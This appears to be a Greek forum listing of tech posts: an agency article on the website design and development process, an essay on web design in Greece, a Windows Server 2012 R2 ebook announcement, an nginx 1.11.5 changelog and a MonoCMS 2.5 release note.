αναλυτικές και κατανοητές από ανθρώπους που δεν έχουν εξειδικευμένες γνώσεις σχετικά με το διαδίκτυο! Περιγράφουν το τι προσπαθεί η ιστοσελίδα να επιτύχει και ποιες ανάγκες πρόκειται να καλύψει. Καταγράφουν με ακρίβεια το πώς θα επιτευχθεί αυτό, το πόσο θα κοστίσει η κάθε επί μέρους εργασία και ποιο χρονοδιάγραμμα υλοποίησης θα ακολουθηθεί με βάση τις πρώτες εκτιμήσεις. Είναι αρχή μας ότι μια σωστή οικονομική προσφορά είναι δυνατόν να συνταχθεί μόνο έπειτα από λεπτομερείς συζητήσεις με αυτόν που θα την παραλάβει. Δε είναι κουραστικό για εμάς! Τη θεωρούμε εξίσου σημαντική με την υπόλοιπη δουλειά που παράγουμε, μιας και είναι το πρώτο έμπρακτο δείγμα αντιμετώπισης αλλά και παραδοτέου που δέχεται κανείς από εμάς. Το brief. Η ιστοσελίδα αναλύεται σε όλο της το βάθος Βασική αρχή της ανάπτυξης στην επιστήμη της πληροφορικής είναι το γεγονός ότι η σωστή ανάλυση μπορεί να οδηγήσει στη σωστή υλοποίηση. Το ίδιο ακριβώς ισχύει και στην κατασκευή ιστοσελίδων. Προτού προχωρήσει κανείς στο να σχεδιάσει ή να αναπτύξει οφείλει να αναλύσει όσο πιο εξαντλητικά γίνεται. Η ανάλυση αυτή ξεκινά από την πλήρη κατανόηση της εταιρικής φιλοσοφίας και της εταιρικής εικόνας του ιδιοκτήτη της ιστοσελίδας. Αυτή είναι που πρέπει να αποτυπωθεί στην ιστοσελίδα με ξεκάθαρο και ρεαλιστικό τρόπο και πρέπει να γίνει απολύτως κατανοητή. Στη συνέχεια καταγράφονται λεπτομερώς οι στόχοι που η ιστοσελίδα θα επιχειρήσει να πετύχει. Πρόκειται για μια ιστοσελίδα απλής εταιρικής παρουσίασης; Λανσάρει δυναμικά μια ανανεωμένη εταιρική ταυτότητα; Παρουσιάζει προϊόντα; Έχει μεγάλη έκταση; Παρέχει υπηρεσίες στους χρήστες της; Ποιο είναι το κοινό της (target group); Τι πρέπει να καταφέρει για την επιχείρηση; Θα χρειαστεί να προωθηθεί διαφημιστικά με ηλεκτρονικά μέσα; Όλα αυτά και άλλα πολλά είναι ερωτήματα που είναι κρισιμο να απαντηθούν έγκαιρα και η φάση του brief είναι η καταλληλότερη για αυτό το σκοπό. Αν δε γίνει αυτό τότε η υπόλοιπη διαδικασία είναι καταδικασμένη σε αβέβαια αποτελέσματα με συχνά πισωγυρίσματα, ασυνεννοησίες και καθυστερήσεις. Με την ολοκλήρωση της ανάλυσης έχουμε κατανοήσει και καταγράψει τους σκοπούς που η κατασκευή της ιστοσελίδας καλείται να εκπληρώσει και τις ανάγκες που καλείται να καλύψει. Γνωρίζουμε καλά ποιος είναι ο πελάτης μας, τι τον χαρακτηρίζει, ποια είναι η εταιρική του κουλτούρα, ποια η είναι η στρατηγική του διαφοροποίηση και τι θέλει να πετύχει με την ιστοσελίδα του. Μπορούμε πλέον να περάσουμε στο επόμενο βήμα της διαδικασίας που είναι ο εικαστικός σχεδιασμός του project. Σχεδιασμός ιστοσελίδας με τα σωστά βήματα – web design Η φάση του σχεδιασμού έχει δύο βήματα. Το πρώτο είναι η πρόχειρη αποτύπωση των οργανικών στοιχείων μιας ιστοσελίδας σε όλη της την έκταση και με χωρικό προσδιορισμό. Αυτό σημαίνει ότι αυτά που η ανάλυση παρήγαγε πρέπει να αρχίσουν να γίνονται πράξη και να τοποθετηθούν στα σωστά σημεία. Είναι κάτι σαν τη δουλειά που κάνει ένας αρχιτέκτονας στο σχεδιασμό ενός οικοδομήματος (μόνο που, στην περίπτωση μιας ιστοσελίδας είναι συνήθως εφικτή). Σε αυτό το βήμα σχεδιάζεται η ραχοκοκκαλιά της ιστοσελίδας. Αποφασίζεται από ποια μέρη θα αποτελείται, ποιες θα είναι ακριβείς περιοχές της, σε ποια σημεία της θα δοθεί μεγαλύτερη έμφαση, ποια σημεία της θα πρέπει να αναδεικνύονται καλύτερα. Δίνεται ιδιαίτερη προσοχή ώστε η ιστοσελίδα να είναι λειτουργική, πράγμα που σημαίνει ότι πρέπει να βοηθά το χρήστη της να πλοηγηθεί με άνεση και να βρει αυτό που αναζητά. Έτσι παράγεται ένα γραφικό (το wireframe), δηλαδή ο σκελετός της. Χρειάζεται ακόμη δουλειά για να πάρει σάρκα και πνοή. Το wireframe συζητείται με τον πελάτη και διορθώνεται ή επεκτείνεται κατάλληλα και μόλις τελειοποιηθεί μπορεί να προχωρήσει στον εικαστικό σχεδιασμό. Αντίθετα με τα σπίτια, στις ιστοσελίδες ο «διακοσμητής» πρέπει να αναλάβει δράση πριν από τον κατασκευαστή. Αυτός είναι ο web designer, πιο κοινά γνωστός ως «γραφίστας». Καλείται να δημιουργήσει την εικόνα της ιστοσελίδας. Σχεδιάζει στον υπολογιστή όλο το εικαστικό της έτσι ακριβώς όπως θα εμφανίζεται στους τελικούς της χρήστες. Είναι ένα πολύ κρίσιμο τμήμα της όλης διαδικασίας μιας και είναι χρονοβόρο, απαιτεί δημιουργικότητα και καλλιτεχνικό πνεύμα και δε διορθώνεται εύκολα εκ των υστέρων. Είναι σημαντικό όμως για μια ιστοσελίδα να έχει ένα πρωτότυπο και μοναδικό design που να την ξεχωρίζει από όλες τις άλλες. Στο Nevma σχεδιάζουμε οι ίδιοι πάντοτε από το μηδέν ολόφρεσκα templates (μακέτες) αποκλειστικά για τον εκάστοτε πελάτη μας. Επιλέγουμε να μη χρησιμοποιούμε έτοιμες λύσεις γιατί θέλουμε να είμαστε δημιουργικοί και να αναλαμβάνουμε πλήρως την ευθύνη για αυτό. Το template παραδίδεται στον πελάτη και υφίσταται την ίδια επεξεργασία και διορθώσεις με το wireframe. Πηγαίνει από εμάς προς τον πελάτη και πάλι πίσω τόσες φορές όσες χρειάζεται μέχρι να είναι ικανοποιημένος με το αποτέλεσμα. Υλοποίηση και ανάπτυξη – web development Με το design ολοκληρωμένο μπορεί να μπουν στο παιχνίδι τα μαγικά δάχτυλα αυτών που θα μεταμορφώσουν την εικόνα του template σε πραγματικότητα. Αυτή είναι η διαδικασία της ανάπτυξης ή υλοποίησης της ιστοσελίδας και λέγεται web development. Στη φάση αυτή όλες οι προδιαγραφές είναι καταγεγραμμένες, οι σκοποί είναι γνωστοί και η εικόνα του τελικού αποτελέσματος έχει σχεδιαστεί. Για να ζωντανέψει η εικόνα χρειάζεται λίγη – ή λίγο περισσότερη – τεχνολογία. Αυτή είναι η δουλειά του προγραμματιστή (web developer). Οφείλει να είναι ικανός γνώστης των τεχνολογιών του διαδικτύου ώστε να μπορεί να αναπτύξει μια άρτια και λειτουργική ιστοσελίδα. Η φάση αυτή παρουσιάζει πολλές ιδιαιτερότητες. Ο προγραμματιστής του διαδικτύου διαφέρει από τον παραδοσιακό προγραμματιστή γιατί πρέπει να διαθέτει ένα εύρος τεχνογνωσίας που άπτεται τόσο τεχνικών αλλά αισθητικών ζητημάτων. Προγραμματίζει μεν, αλλά για ένα μέσο όπου η «εικόνα» είναι αυτό που κυριαρχεί. Ταυτόχρονα, η ανάπτυξη είναι απαραίτητο να γίνει έχοντας στο μυαλό του κανείς τις σύγχρονες μεθοδολογίες και απαιτήσεις του διαδικτύου έτσι όπως έχουν διαμορφωθεί από την ίδια την τεχνολογία αλλά και σε μεγάλο βαθμό από παράγοντες όμως οι μηχανές αναζήτησης. Για παράδειγμα, μια ιστοσελίδα είναι πολύ σημαντικό να κατασκευαστεί με τρόπο ώστε να είναι φιλική στις μηχανές αναζήτησης και να εμφανίζεται με τον ίδιο τρόπο σε όλους τους δημοφιλείς browsers. Για να είναι μια ιστοσελίδα φιλική στις μηχανές αναζήτησης (να μη χρειάζεται, επομένως, πρόσθετο κόστος για SEO – Search engine optimization) πρέπει το λιγότερο να διαθέτει κώδικα καλά δομημένο, περιεχόμενο ιεραρχημένο και να μην έχει λάθη. Αυτά είναι πράγματα που κανείς δε χρειάζεται να γνωρίζει μιας και είναι δουλειά του κατασκευαστή να παρέχει. Κι όμως ακόμη και σήμερα δεν είναι καθόλου αυτονόητα. Για να είναι η απεικόνιση των ιστοσελίδων μας ίδια σε όλους τους browsers χρειάζεται μεγάλη εμπειρία, πολύς χρόνος δοκιμών και κάμποση εφευρετικότητα. Στο Nevma υποστηρίζουμε όλους τους μεγάλους browsers καθώς και τους δημοφιλέστερους μικρούς (Internet Explorer 6, 7, 8, Firefox, Chrome, Opera, Safari) που καλύπτουν τη συντριπτική πλειοψηφία των χρηστών του διαδικτύου. Data entry. Γεμίζουμε την ιστοσελίδα με περιεχόμενο. Για πολλούς – πχ τις μηχανές αναζήτησης – το περιεχόμενο είναι το σημαντικότερο συστατικό μιας ιστοσελίδας. Πολλές φορές το ίδιο ισχύει και για τους χρήστες. Όταν κάποιος βρίσκεται σε μια ιστοσελίδα αυτό συμβαίνει γιατί κάτι αναζητά. Αν η ιστοσελίδα δεν του το παρέχει ή του παρουσιάζει δυσκολίες να το βρει, αντί να τον διευκολύνει, τότε ο χρήστης θα προτιμήσει να πάει αλλού. Και μάλιστα ο συνήθης χρήστης του internet θα φερθεί με περισσή ανυπομονησία. Αν έχετε φτάσει να διαβάζετε ως εδώ τότε εσείς δεν είστε αυτός! Στη φάση αυτή η ιστοσελίδα γεμίζει με περιεχόμενο. Κείμενα, εικόνες, αρχεία συντίθενται κάτω από την επιθυμητή κατηγοριοποίηση και καταχωρούνται στο σύστημα διαχείρισης της ιστοσελίδας (CMS – Content management system), ώστε να παρουσιάζονται με τον τρόπο που το template προστάζει. Η διαδικασία αυτή είναι καλό να γίνει με ιδιαίτερη φροντίδα και σε συνέπεια με το υπόλοιπο design, μιας και το κατά πόσο ευανάγνωστη εικαστικά είναι μια ιστοσελίδα (typography) είναι ένα πολύ σημαντικό στοιχείο της. Έχοντας προσθέσει το περιεχόμενό της στην ιστοσελίδα αυτή πρέπει να επιδειχθεί στον ιδιοκτήτη της. Είναι το τελικό τεστ πριν από τη δημοσίευσή της. Αν όλα πάνε όπως έχουν προβλεφθεί και τα προηγούμενα βήματα έχουν όλα ολοκληρωθεί ομαλά και με καλά αποτελέσματα τότε και αυτό το βήμα θα ολοκληρωθεί με τις καλύτερες συνθήκες. Συνήθως, στη φάση αυτή ένα project φτάνει με κάποια ανακούφιση. Όλες οι συζητήσεις, οι αντιπαραθέσεις, οι απαιτήσεις, τα σχέδια έχουν πάρει πλέον σάρκα και οστά. Η ιστοσελίδα είναι ενεργή μπροστά μας για να μπει κανείς και να πλοηγηθεί, να διαβάζει το περιεχόμενο και να κάνει τις τελικές παρατηρήσεις. Δημοσίευση και προώθηση. Η ιστοσελίδα βγαίνει στον «αέρα»και πρέπει να βρει τους χρήστες της. Στο desinghost συνηθίζουμε να λέμε ότι η δημοσίευση των ιστοσελίδων δε σηματοδοτεί παρά μια αρχή. Την αρχή του «δημόσιου» βίου τους. Ό,τι κι αν έχει προηγηθεί κι όσο καλά κι αν έχει σχεδιαστεί στη θεωρία μένει να αποδειχτεί και στην πράξη με την καθημερινή χρήση και ανταπόκριση που θα τύχουν από τους χρήστες τους. Επομένως, με τη δημοσίευση ενός web site ξεκινά στην πραγματικότητα ο κύκλος της ζωής του. Η επιβίωσή του είναι ένα άλλο ζήτημα που έχει ανάγκη από συνεχή παρακολούθηση και ανάλογη εξέλιξη. Για να εκμεταλλευτεί κανείς την τεράστια δυναμική που μας δίνει το internet σήμερα πρέπει να κάνει και τις αντίστοιχες κινήσεις προώθησης και διαφήμισης. Για αυτό το σκοπό υπάρχει πληθώρα εργαλείων και δυνατοτήτων, όπως η διαφήμιση στις μηχανές αναζήτησης (Google Adwords), τα ενημερωτικά δελτία-emails (Newsletters, Email Marketing), η διαφήμιση στα web sites κοινωνικής δικτύωσης (social media), όπως το Facebook, η δημιουργία κοινοτήτων ενδιαφέροντος σε αυτά (Facebook groups & pages, Twitter, κλπ). Μια συντονισμένη προσπάθεια προώθησης του περιεχομένου μιας ιστοσελίδας, έπειτα από την κατασκευή της, είναι η απαραίτητη κίνηση για την καλύτερη δυνατή προσέλκυση χρηστών και άρα πιθανών πελατών. Υποστήριξη και φιλοξενία Τέλος, για να συνεχίζει να ζει μια ιστοσελίδα χωρίς εμπόδια στη διάρκεια του χρόνου έχει ανάγκη για υποστήριξη από ανθρώπους εξειδικευμένους στις τεχνολογίες του διαδικτύου. Συνήθως, η υποστήριξη αυτή (support) παρέχεται από τους ίδιους τους κατασκευαστές της. Αυτοί μπορούν να επιλύσουν κάθε πρόβλημα που μπορεί να προκύψει στο μέλλον, να κάνουν διορθώσεις που δεν είχαν προβλεφθεί από την αρχή και να παρέχουν συμβουλευτικές υπηρεσίες σχετικά με τις νέες ανάγκες που είναι δυνατόν να προκύψουν κατά τη χρήση της. Είναι επιθυμητό οι όροι αυτής της συνεργασίας να έχουν προσδιοριστεί εξαρχής και να έχει εξασφαλιστεί ότι η ιστοσελίδα δε θα υπόκειται σε περιορισμούς σχετικά με το πλήθος των επισκέψεών της (bandwidth limit), τον όγκο των αρχείων και δεδομένων που θα περιέχει και τον αριθμό των emails που θα υποστηρίζει. Ακόμη, απολύτως απαραίτητο είναι να παρέχονται στους ιδιοκτήτες της τακτικά στατιστικά στοιχεία σχετικά με την επισκεψιμότητά της και να γίνεται ανάλυση των τρόπων με τον οποίο αυτή θα μπορέσει να αυξηθεί. Κατασκευή ιστοσελίδων στο designhost Στο άρθρο αυτό περιγράψαμε τη μεθοδολογία με την οποία πιστεύουμε ότι η δημιουργία μιας ιστοσελίδας μπορεί να γίνει με σωστό και αποτελεσματικό τρόπο, ξεκινώντας από την προσέγγιση την οποία πρέπει να έχει ένας πιθανός πελάτης κατά τη φάση της οικονομικής προσφοράς και συνεχίζοντας στις φάσεις της ανάλυσης, του σχεδιασμού μέχρι την υλοποίηση, τη δημοσίευση και την προώθησή της. Αυτή τη μεθοδολογία επιλέγουμε και οι ίδιοι στο Nevma, πιστεύοντας ότι με αυτό τον τρόπο παρέχουμε με επαγγελματισμό αξιόπιστη υπηρεσία με προβλέψιμα αποτελέσματα.
  47. 1 point
    Η αποτελεσματικότητα μιας ιστοσελίδας εξαρτάται από πολλές παραμέτρους. Το web design είναι οπωσδήποτε μία από αυτές. Πολλές φορές δεν είναι η σημαντικότερη. Για παράδειγμα, το Google δεν ξεχώρισε ποτέ για το «φοβερό» web design του, αντιθέτως διακήρυσσε και εφάρμοζε πάντοτε την απλότητα και την ταχύτητα έναντι στην εμμονή στην αισθητική. Στο Nevma πιστεύουμε ότι το καλό web design είναι κρίσιμο για την εικόνα της οντότητας που αντιπροσωπεύει. Στο άρθρο αυτό θα εξετάσουμε το πώς αντιμετωπίζουμε το καλό web design και πώς το κάνουμε πραγματικότητα. Το web design στην Ελλάδα – Μια άγνωστη έννοια Το web design στην Ελλάδα είναι, δυστυχώς, μία έννοια σε μεγάλο βαθμό άγνωστη. Και είναι γενικά αποδεκτή αλήθεια το γεγονός ότι τα ελληνικά web sites παραδοσιακά δεν ξεχωρίζουν για την αισθητική τους. Πώς να το καταφέρουν, άλλωστε, τη στιγμή που, όπως είπαμε, το web design είναι έννοια άγνωστη και το επάγγελμα web designer πρακτικά δεν υπάρχει. Υπάρχουν παραδοσιακοί designers και υπάρχουν web developers (αυτοί που γνωρίζουν τα τεχνολογικά και τεχνικά ζητήματα όπως ο προγραμματισμός κλπ). Αλλά δεν υπάρχουν web designers. Λείπει, δηλαδή, η τομή ανάμεσα στον παραδοσιακό designer και τον designer εκείνο που ξέρει καλά το internet και πώς να σχεδιάζει για αυτό. Οι περισσότερες εταιρείες που δραστηριοποιήθηκαν στο χώρο του internet την πρώτη 10ετία της ζωής του στην Ελλάδα (περίπου 1996 με 2006) δεν έμαθαν ποτέ ότι άλλο πράγμα είναι το παραδοσιακό design, άλλο πράγμα η ανάπτυξη εφαρμογών διαδικτύου και άλλο πράγμα το web design. Για πολλά χρόνια τα ελληνικά web sites κατασκευάζονταν δίχως να έχουν σχεδιαστεί προηγουμένως προσεκτικά. Πολλές φορές δίχως να έχουν σχεδιαστεί καν! Θα μπορούσαμε να παρομοιάσουμε αυτή την τακτική σαν το να χτίζεις ένα κτήριο απευθείας χωρίς να έχεις συμβουλευθεί πρώτα αρχιτέκτονα και πολιτικό μηχανικό. Σε αυτό το φαινόμενο οδήγησαν μια σειρά από παράγοντες όπως: η τάση για γρήγορο αποτέλεσμα, η ύπαρξη έτοιμου και δωρεάν υλικού και λογισμικού στο διαδίκτυο, η αδυναμία να αντέξουν οικονομικά οι εταιρείες ένα full-time web designer, η ανωριμότητα της πρώτης εποχής του διαδικτύου, η όχι και τόσο ανταγωνιστική και απαιτητική αγορά, η αδυναμία ή/και απροθυμία να παρακολουθήσουν τις εξελίξεις στο χώρο Τι είναι το web design, τελικά; Το παραδοσιακό design το γνωρίζουμε. Μπορεί να μην το κατέχουμε αλλά όλοι γνωρίζουμε περίπου τι είναι και τι ζητάμε από αυτό. Η προγραμματιστική ανάπτυξη εφαρμογών διαδικτύου, από την άλλη, είναι κάτι που για τον πολύ κόσμο δεν είναι παρά ακαταλαβίστικοι κώδικες, όμως όλοι καταλαβαίνουν ότι έχει σχέση με την τεχνολογία και απαιτεί τεχνικές γνώσεις για να επιτευχθεί. Όμως τι είναι το web design; Θα λέγαμε ότι web designer είναι εκείνος ο οποίος διαθέτει το σύνολο εκείνο των τεχνικών γνώσεων που, σε συνδυασμό με την ικανότητα για γραφικό σχέδιο και το δημιουργικό ταλέντο, του δίνουν τη δυνατότητα να σχεδιάζει καλαίσθητες και λειτουργικές ιστοσελίδες. Φυσικά, αυτή η «νέα» ειδικότητα θα μπορούσε να έχει πολλές περαιτέρω διακλαδώσεις αλλά κάτι τέτοιο ξεφεύγει από τους σκοπούς του άρθρου αυτού. Πόσο κοστίζει το καλό web design; Για να είναι το web design αποτελεσματικό χρειάζεται εκτενής ανάλυση των αναγκών του εκάστοτε project, αρχιτεκτονική σχεδίαση όλων των εκφάνσεων μιας ιστοσελίδας, γραφικό σχέδιο, γνώσεις προγραμμάτων γραφικής σχεδίασης στον υπολογιστή κλπ. Για περισσότερα σχετικά με το θέμα αυτό μπορείτε να διαβάσετε το άρθρο μας: «Κατασκευή ιστοσελίδων. Η διαδικασία σχεδιασμού και ανάπτυξης ιστοσελίδων και πώς γίνεται στο Nevma». Για να συνδυαστούν όλες αυτές οι απαιτήσεις και να καταλήξουν σε αξιοπρεπή αποτελέσματα χρειάζεται χρόνος και κόπος. Καταλήγουμε, λοιπόν στο συμπέρασμα ότι το καλό web design δε μπορεί να μην κοστίζει. Μια ιστοσελίδα είναι η ηλεκτρονική ταυτότητα μιας εταιρείας. Είναι το ίδιο σημαντική στο χώρο του διαδικτύου όσο είναι σημαντική η οποιαδήποτε παρουσία της στον έξω κόσμο, είτε αυτή είναι μέσα από έντυπο ή άλλο υλικό είτε μέσω των ανθρώπων που την απαρτίζουν και την αντιπροσωπεύουν. Άρα, ιδίως στην εποχή της πληροφορίας και του διαδικτύου, η ηλεκτρονική της εικόνα είναι εξαιρετικά σημαντική!
  48. 1 point
    Η Microsoft κυκλοφόρησε ένα νέο δωρεάν ebook για τους IT Pros που θέλουν να μάθουν ότι νέο έρχεται με την R2 έκδοση του Windows Server 2012 και πώς μπορούν να εφαρμόσουν τα νέα χαρακτηριστικά και δυνατότητες στις επιχειρήσεις. Το βιβλίο είναι διαθέσιμο online δωρεάν, όπως άλλωστε έχουμε συνηθίσει και από τις προηγούμενες εκδόσεις, αποτελείται από 108 σελίδες (μέγεθος αρχείου 5MB) και συγγραφέας του ebook είναι ο Mitch Tulloch μαζί με άτομα της ομάδας που εργάζονται στον Windows Server 2012. Η συγκεκριμένη έκδοση του βιβλίου εστιάζει περισσότερο στις αλλαγές της Preview έκδοσης του Windows Server 2012 R2, ωστόσο τους επόμενους μήνες θα εμπλουτιστεί με ακόμη περισσότερες λεπτομέρειες μετά την κυκλοφορία της RTM έκδοσης. Κατεβάστε το δωρεάν ebook «Introducing Windows Server 2012 R2 Preview Release» από εδώ. Καλό διάβασμα!
  49. 1 point
    Changes with nginx 1.11.5 11 Oct 2016 *) Change: the --with-ipv6 configure option was removed, now IPv6 support is configured automatically. *) Change: now if there are no available servers in an upstream, nginx will not reset number of failures of all servers as it previously did, but will wait for fail_timeout to expire. *) Feature: the ngx_stream_ssl_preread_module. *) Feature: the "server" directive in the "upstream" context supports the "max_conns" parameter. *) Feature: the --with-compat configure option. *) Feature: "manager_files", "manager_threshold", and "manager_sleep" parameters of the "proxy_cache_path", "fastcgi_cache_path", "scgi_cache_path", and "uwsgi_cache_path" directives. *) Bugfix: flags passed by the --with-ld-opt configure option were not used while building perl module. *) Bugfix: in the "add_after_body" directive when used with the "sub_filter" directive. *) Bugfix: in the $realip_remote_addr variable. *) Bugfix: the "dav_access", "proxy_store_access", "fastcgi_store_access", "scgi_store_access", and "uwsgi_store_access" directives ignored permissions specified for user. *) Bugfix: unix domain listen sockets might not be inherited during binary upgrade on Linux. *) Bugfix: nginx returned the 400 response on requests with the "-" character in the HTTP method.
  50. 1 point
    Το MonoCMS είναι ένα σύστημα διαχείρισης περιεχομένου ιστοσελίδων, όπως ακριβώς το wordpress, το blogger, το joomla κ.α. Η διαφορά του Μοnocms με τα παραπάνω είναι ότι ανήκει στην κατηγορία των non database συστημάτων δίχως βάση δεδομένων. Η επεξεργασία δεδομένων γίνεται με PHP και η αποθήκευση τους σε XML. Έτσι χρησιμοποιεί το σύστημα αρχείων του εξυπηρετητή για την αποθήκευση δεδομένων, κάτι που το καθιστά εξαιρετικά απλό, μικρό σε μέγεθος και πολύ γρήγορο. Μπορεί οι δυνατότητες του να μοιάζουν λιγότερες, ωστόσο η ταχύτητά του και η ευκολία στη χρήση του, θα σας κάνουν σύντομα να αισθανθείτε ότι πρόκειται για ένα πολύ ισχυρό εργαλείο το οποίο οι χρήστες μπορούν να αξιοποιήσουν για να δημιουργήσουν και να συντηρήσουν την ιστοσελίδα ή το ιστολόγιό τους. ΜonoCMS και στα ελληνικά… Το MonoCMS είναι φτιαγμένο από Έλληνα προγραμματιστή ιστοσελίδων που ζει στην Αθήνα (Παναγιώτη ή Pano z), και έτσι ταυτόχρονα με την αγγλική απέκτησε και την ελληνική εκδοχή του. Το πρώτο συνθετικό της ίδιας της ονομασίας του συστήματος προέρχεται από την ελληνική λέξη «μόνο». Σήμερα όπως μας ενημέρωσε ο Παναγιώτης (developer του project) κυκλοφόρησε η νέα έκδοση 2.5. Το Monocms 2.5.1 – 2.5.2 περιλαμβάνει: 2 Οκτωμβρίου 2016 | MonoCMS 2.5.2 # Νέα εμφάνιση για το κύριο μενού. Διορθώσεις # Πλοήγησης συντάκτης «Άνοιγμα σε νέα καρτέλα» επιλογή σταθερών και έργων. 26 του Σεπτέμβρη 2016 | MonoCMS 2.5.1 # Βελτιωμένη οθόνη σύνδεσης. # Οι χρήστες λαμβάνουν μια ειδοποίηση μετά από μια αποτυχημένη προσπάθεια σύνδεσης. Διορθώσεις # Ανακατεύθυνση σε λάθος σελίδα μετά από μια αποτυχημένη είσοδο σταθερό. Ελάχιστες απαιτήσεις PHP >= 5.5 σε εξυπηρετητή Apache. Δοκιμάσαμε το ΜοnoCMS του Πάνου και το βρήκαμε αρκετά γρήγορο, και minimal κάτι το οποίο εκτιμούμε ιδιαίτερα εδώ στο iGuRu.gr. Για όσους ενδιαφέρονται: Τεκμηρίωση Λήψη MonοCMS Home
×